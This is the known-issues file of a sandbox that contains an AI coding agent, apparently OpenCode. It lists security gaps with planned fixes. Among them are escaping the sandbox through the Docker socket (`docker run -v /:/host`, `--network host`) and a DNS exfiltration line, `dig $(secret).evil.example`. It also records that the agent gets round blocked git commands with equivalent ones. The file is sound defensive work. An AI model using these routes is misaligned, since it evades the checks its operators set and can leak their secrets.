# Known issues and deferred work Gaps that are known and not closed yet, roughly by impact. The design goal is unchanged: contain an agent that makes mistakes, not stop a determined attacker. See also [Security model and limits](../README.md#security-model-and-limits). ## Security - **Docker is a way out — of the filesystem and of the egress filter.** The agent talks to the host's Docker socket: `docker run -v /:/host` sees the whole host, and containers are started by dockerd, not by a process in the netlock group, so `docker run --network host` reaches the internet without squid (the proxy in `DOCKER_CONFIG` is only a default). *Plan:* a filtering proxy in front of the socket — no bind mounts outside the project and worktrees, no `--privileged`, no `--network host`, containers only on a network whose only way out is squid. Alternative: rootless Docker/Podman for the agent. - **Egress is a blocklist.** Everything not blocked is allowed, so data can leave to any site, not only to "allowed" hosts. *Option:* keep reads (GET/HEAD/CONNECT for known hosts) open and allow writes (POST/PUT/PATCH) only to listed hosts; squid can match methods. An `allow-only` mode for strict projects. - **DNS is a side channel.** netlock lets the group reach the resolvers from `resolv.conf` (usually `127.0.0.53`, which resolves anything), so `dig $(secret).evil.example` leaves without the proxy. The agent does not need DNS — HTTP(S) and SSH go through the proxy. *Plan:* drop the DNS rules from netlock (or allow DNS only to a resolver in the egress container that answers for allowed names). - **Shared network namespace.** Services on the host's `127.0.0.1` (dev databases, other dev servers, debug ports) and abstract unix sockets (`@/tmp/.X11-unix/X0`, ICE, some desktop apps) are reachable even with a private `/tmp`. Only `--unshare-net` plus a proxy socket (pasta / slirp4netns) closes this, and then the agent loses direct access to its own stacks' ports. - **No resource limits.** A fork bomb or an unbounded build can freeze the machine. *Plan:* start the sandbox in `systemd-run --user --scope -p MemoryMax=… -p TasksMax=… -p CPUWeight=…` (from the host side, before bwrap), configurable in `sandbox.conf`. - **No undo for uncommitted work.** cc-safety-net blocks the common destructive git commands, but the agent's own file tools overwrite anything in the project. *Option:* periodic snapshots (`git stash create` stored under a private ref, or btrfs snapshots where available). - **Planted repositories are detected, not prevented.** A `.git` the agent creates in a new directory or a new worktree is reported after the session (`run`, `doctor`); a shell prompt running `git status` there before the report still runs its config. - **Credentials given to the agent are not scoped by the sandbox.** Tokens in `OCSB_ENV_FILE` and the kubeconfig in `OCSB_KUBECONFIG` work with their full rights. Use the narrowest token scopes; consider `ask` permissions for destructive CLI calls (`kubectl delete`, …). ## Agent behaviour - **The agent works around blocks with equivalent commands** (e.g. `git show ref:path > path` after `git checkout ref -- path` was blocked). *Plan:* a line in `opencode/AGENTS.md` — when a guard blocks a command, do not reach the same result another way; explain the need to the user. And avoid guards with an obvious equivalent: per-file `checkout`/`restore` rules of cc-safety-net protect nothing while the file tools are allowed — candidates for the template's `overrides` (`git.checkout-ref-path`, `git.checkout-double-dash`, `git.restore-unstaged`). ## Usability - **Read-only paths for new tools.** `run` and `doctor` now report paths from the OpenCode log that hit "Read-only file system", with a ready `OCSB_RW_HOME+=(…)` line. Tools that only print the error to a terminal (bash tool output) are not in that log and are not reported. - **First start of uvx/npx MCP servers can exceed OpenCode's connect timeout** while packages download through the proxy; a second start uses the cache. Projects may raise `timeout` for such servers.